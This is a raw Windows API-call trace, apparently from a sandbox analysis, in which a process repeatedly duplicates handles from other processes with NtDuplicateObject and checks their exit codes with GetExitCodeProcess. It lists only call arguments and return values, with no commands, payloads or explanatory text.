[0093.717] NtDuplicateObject (in: SourceProcessHandle=0x15c, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0093.717] NtDuplicateObject (in: SourceProcessHandle=0x15c, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x178) returned 0x0 [0093.770] GetExitCodeProcess (in: hProcess=0x178, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0093.770] NtDuplicateObject (in: SourceProcessHandle=0x178, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0093.770] NtDuplicateObject (in: SourceProcessHandle=0x178, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x164) returned 0x0 [0094.189] GetExitCodeProcess (in: hProcess=0x164, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.189] NtDuplicateObject (in: SourceProcessHandle=0x164, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.189] NtDuplicateObject (in: SourceProcessHandle=0x164, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x124) returned 0x0 [0094.263] GetExitCodeProcess (in: hProcess=0x124, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.263] NtDuplicateObject (in: SourceProcessHandle=0x124, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.263] NtDuplicateObject (in: SourceProcessHandle=0x124, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x174) returned 0x0 [0094.421] GetExitCodeProcess (in: hProcess=0x174, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.421] NtDuplicateObject (in: SourceProcessHandle=0x174, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.421] NtDuplicateObject (in: SourceProcessHandle=0x174, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x17c) returned 0x0 [0094.447] GetExitCodeProcess (in: hProcess=0x17c, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.447] NtDuplicateObject (in: SourceProcessHandle=0x17c, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.447] NtDuplicateObject (in: SourceProcessHandle=0x17c, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x16c) returned 0x0 [0094.455] GetExitCodeProcess (in: hProcess=0x16c, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.458] GetExitCodeProcess (in: hProcess=0x188, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.458] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.458] NtDuplicateObject (in: SourceProcessHandle=0x188, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x168) returned 0x0 [0094.490] GetExitCodeProcess (in: hProcess=0x168, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.491] NtDuplicateObject (in: SourceProcessHandle=0x168, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.491] NtDuplicateObject (in: SourceProcessHandle=0x168, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x170) returned 0x0 [0094.499] GetExitCodeProcess (in: hProcess=0x170, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.499] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.499] NtDuplicateObject (in: SourceProcessHandle=0x170, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x18c) returned 0x0 [0094.502] GetExitCodeProcess (in: hProcess=0x18c, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.502] NtDuplicateObject (in: SourceProcessHandle=0x18c, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.502] NtDuplicateObject (in: SourceProcessHandle=0x18c, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x190) returned 0x0 [0094.514] GetExitCodeProcess (in: hProcess=0x190, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.514] NtDuplicateObject (in: SourceProcessHandle=0x190, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.514] NtDuplicateObject (in: SourceProcessHandle=0x190, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x194) returned 0x0 [0094.515] GetExitCodeProcess (in: hProcess=0x194, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.515] NtDuplicateObject (in: SourceProcessHandle=0x194, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.515] NtDuplicateObject (in: SourceProcessHandle=0x194, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x198) returned 0x0 [0094.516] GetExitCodeProcess (in: hProcess=0x198, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.516] NtDuplicateObject (in: SourceProcessHandle=0x198, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.516] NtDuplicateObject (in: SourceProcessHandle=0x198, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x19c) returned 0x0 [0094.517] GetExitCodeProcess (in: hProcess=0x19c, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.517] NtDuplicateObject (in: SourceProcessHandle=0x19c, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.517] NtDuplicateObject (in: SourceProcessHandle=0x19c, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x1a0) returned 0x0 [0094.518] GetExitCodeProcess (in: hProcess=0x1a0, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.518] NtDuplicateObject (in: SourceProcessHandle=0x1a0, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.518] NtDuplicateObject (in: SourceProcessHandle=0x1a0, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x1a4) returned 0x0 [0094.519] GetExitCodeProcess (in: hProcess=0x1a4, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.519] NtDuplicateObject (in: SourceProcessHandle=0x1a4, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.519] NtDuplicateObject (in: SourceProcessHandle=0x1a4, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x1a8) returned 0x0 [0094.520] GetExitCodeProcess (in: hProcess=0x1a8, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.521] GetExitCodeProcess (in: hProcess=0x1ac, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.521] NtDuplicateObject (in: SourceProcessHandle=0x1ac, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.521] NtDuplicateObject (in: SourceProcessHandle=0x1ac, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x1b0) returned 0x0 [0094.522] GetExitCodeProcess (in: hProcess=0x1b0, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.522] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.522] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x1b4) returned 0x0 [0094.523] GetExitCodeProcess (in: hProcess=0x1b4, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.523] NtDuplicateObject (in: SourceProcessHandle=0x1b4, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.523] NtDuplicateObject (in: SourceProcessHandle=0x1b4, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x1b8) returned 0x0 [0094.524] GetExitCodeProcess (in: hProcess=0x1b8, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.524] NtDuplicateObject (in: SourceProcessHandle=0x1b8, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.524] NtDuplicateObject (in: SourceProcessHandle=0x1b8, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x1bc) returned 0x0 [0094.525] GetExitCodeProcess (in: hProcess=0x1bc, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.525] NtDuplicateObject (in: SourceProcessHandle=0x1bc, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.525] NtDuplicateObject (in: SourceProcessHandle=0x1bc, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x1c0) returned 0x0 [0094.526] GetExitCodeProcess (in: hProcess=0x1c0, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.526] NtDuplicateObject (in: SourceProcessHandle=0x1c0, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.526] NtDuplicateObject (in: SourceProcessHandle=0x1c0, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x1c4) returned 0x0 [0094.527] GetExitCodeProcess (in: hProcess=0x1c4, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.527] NtDuplicateObject (in: SourceProcessHandle=0x1c4, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.527] NtDuplicateObject (in: SourceProcessHandle=0x1c4, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x1c8) returned 0x0 [0094.528] GetExitCodeProcess (in: hProcess=0x1c8, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.528] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.528] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x1cc) returned 0x0 [0094.529] GetExitCodeProcess (in: hProcess=0x1cc, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.529] NtDuplicateObject (in: SourceProcessHandle=0x1cc, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.529] NtDuplicateObject (in: SourceProcessHandle=0x1cc, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x1d0) returned 0x0 [0094.530] GetExitCodeProcess (in: hProcess=0x1d0, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.530] NtDuplicateObject (in: SourceProcessHandle=0x1d0, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.530] NtDuplicateObject (in: SourceProcessHandle=0x1d0, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x1d4) returned 0x0 [0094.531] GetExitCodeProcess (in: hProcess=0x1d4, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.531] NtDuplicateObject (in: SourceProcessHandle=0x1d4, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.531] NtDuplicateObject (in: SourceProcessHandle=0x1d4, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x1d8) returned 0x0 [0094.532] GetExitCodeProcess (in: hProcess=0x1d8, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.532] NtDuplicateObject (in: SourceProcessHandle=0x1d8, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.532] NtDuplicateObject (in: SourceProcessHandle=0x1d8, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x1dc) returned 0x0 [0094.533] GetExitCodeProcess (in: hProcess=0x1dc, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.533] NtDuplicateObject (in: SourceProcessHandle=0x1dc, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.533] NtDuplicateObject (in: SourceProcessHandle=0x1dc, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x1e0) returned 0x0 [0094.534] GetExitCodeProcess (in: hProcess=0x1e0, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.534] NtDuplicateObject (in: SourceProcessHandle=0x1e0, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.534] NtDuplicateObject (in: SourceProcessHandle=0x1e0, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x1e4) returned 0x0 [0094.535] GetExitCodeProcess (in: hProcess=0x1e4, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.535] NtDuplicateObject (in: SourceProcessHandle=0x1e4, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.535] NtDuplicateObject (in: SourceProcessHandle=0x1e4, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x1e8) returned 0x0 [0094.536] GetExitCodeProcess (in: hProcess=0x1e8, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.537] GetExitCodeProcess (in: hProcess=0x1ec, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.537] NtDuplicateObject (in: SourceProcessHandle=0x1ec, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.537] NtDuplicateObject (in: SourceProcessHandle=0x1ec, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x1f0) returned 0x0 [0094.538] GetExitCodeProcess (in: hProcess=0x1f0, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.538] NtDuplicateObject (in: SourceProcessHandle=0x1f0, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.538] NtDuplicateObject (in: SourceProcessHandle=0x1f0, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x1f4) returned 0x0 [0094.539] GetExitCodeProcess (in: hProcess=0x1f4, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.539] NtDuplicateObject (in: SourceProcessHandle=0x1f4, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.539] NtDuplicateObject (in: SourceProcessHandle=0x1f4, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x1f8) returned 0x0 [0094.540] GetExitCodeProcess (in: hProcess=0x1f8, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.540] NtDuplicateObject (in: SourceProcessHandle=0x1f8, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.540] NtDuplicateObject (in: SourceProcessHandle=0x1f8, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x1fc) returned 0x0 [0094.541] GetExitCodeProcess (in: hProcess=0x1fc, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.541] NtDuplicateObject (in: SourceProcessHandle=0x1fc, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.541] NtDuplicateObject (in: SourceProcessHandle=0x1fc, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x200) returned 0x0 [0094.541] GetExitCodeProcess (in: hProcess=0x200, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.542] NtDuplicateObject (in: SourceProcessHandle=0x200, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.542] NtDuplicateObject (in: SourceProcessHandle=0x200, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x204) returned 0x0 [0094.542] GetExitCodeProcess (in: hProcess=0x204, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.543] NtDuplicateObject (in: SourceProcessHandle=0x204, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.543] NtDuplicateObject (in: SourceProcessHandle=0x204, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x208) returned 0x0 [0094.543] GetExitCodeProcess (in: hProcess=0x208, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.543] NtDuplicateObject (in: SourceProcessHandle=0x208, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.544] NtDuplicateObject (in: SourceProcessHandle=0x208, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x20c) returned 0x0 [0094.544] GetExitCodeProcess (in: hProcess=0x20c, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.544] NtDuplicateObject (in: SourceProcessHandle=0x20c, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.544] NtDuplicateObject (in: SourceProcessHandle=0x20c, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x210) returned 0x0 [0094.545] GetExitCodeProcess (in: hProcess=0x210, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.546] NtDuplicateObject (in: SourceProcessHandle=0x210, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.546] NtDuplicateObject (in: SourceProcessHandle=0x210, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x214) returned 0x0 [0094.547] GetExitCodeProcess (in: hProcess=0x214, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.547] NtDuplicateObject (in: SourceProcessHandle=0x214, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.547] NtDuplicateObject (in: SourceProcessHandle=0x214, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x218) returned 0x0 [0094.547] GetExitCodeProcess (in: hProcess=0x218, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.548] NtDuplicateObject (in: SourceProcessHandle=0x218, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 